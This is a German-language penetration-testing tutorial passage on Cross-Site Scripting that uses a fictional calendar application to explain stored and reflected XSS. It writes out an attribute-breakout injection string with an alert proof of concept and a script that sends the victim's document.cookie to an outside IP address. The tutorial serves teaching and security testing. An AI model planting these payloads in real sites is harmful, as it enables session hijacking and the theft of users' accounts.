Cross-Site Scripting (XSS)

Zu den Injection-Angriffen gehört neben der SQL-Injection auch Cross-Site-Scripting. Durch Cross-Site-Scripting lässt sich aufgrund fehlender Eingabevalidierung beliebiger Scriptcode in die Webapplikation einfügen, der dann vom Browser des Opfers ausgeführt wird. Wie schon bei den SQL-Injections werden wir zur Identifikation von XSS-Schwachstellen alle Eingabefelder betrachten, die in den HTML-Code eingebettet werden könnten. Dies könnten beispielsweise Shopitems in einem Warenkorb, Application-Settings oder Blogeinträge sein. Spielen wir zum Beispiel einmal das folgende Szenario durch, welches allerdings im Übungslabor nicht funktioniert:

Im Terminkalender von Dubius Payment Ltd. können Administratoren Benutzer anlegen und verwalten:

Hierbei wird der Nachname eines Users über HTML ausgegeben:

<input name=“lname“ size=“30“ type=“text“ value=“Pitts“>

Wenn wir als Angreifer in den o. a. Parameter lname JavaScript einschleusen wollen, müssen wir dessen Einbettung in den HTML-Code beachten: die Angabe Pitts schließt mit Anführungszeichen (“) und einer spitzen Klammer (>) ab. Um beispielsweise eine Benachrichtigungsbox aufpoppen zu lassen, können wir folgenden String als Nachnamen im obigen Formular setzen:

Pitts“><script>alert(’XSS’)</script>

Bei jedem erneuten Aufruf dieser Seite würde somit die folgende Benachrichtigungsbox aufpoppen, da unser JavaScript vom Zielsystem gespeichert und über HTML ausgegeben wird:

Eine Benachrichtigungsbox ist für uns als Penetration-Tester zwar ein Proof of Concept (PoC), aber für ein Angreifer zu harmlos. Anstelle dem Benutzer eine Benachrichtigungsbox anzeigen zu lassen, könnten wir zum Beispiel auch die Sessions von ihm stehlen, wofür beispielsweise das folgende Code-Snippet verwendet werden kann:

  <script> 
    new Image().src=“ http://10.20.1.14/ ?c="+document.cookie;  
  </script>

Grundsätzlich existieren mehrere Arten von XSS. Im obigen Szenario lag uns eine „Stored Cross-Site-Scripting“-Schwachstelle vor, da unser JavaScript-Code serverseitig gespeichert worden ist. Wenn unser JavaScript vom Zielsystem nicht gespeichert und nur ein einziges Mal ausgeführt worden wäre, hätten wir eine „Reflected-Cross-Site-Scripting“-Schwachstelle identifiziert. In einem solchen Fall müssten wir unseren bösartigen Request einem Benutzer der Webanwendung unterschieben, um unseren JavaScript-Code von seinem Browser ausführen lassen zu können. Zur Ausnutzung von XSS listet OWASP in einem ihrer Cheat-Sheets mehrere interessante Techniken auf, wie JavaScript in eine Webanwendung eingeschleust werden kann: https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html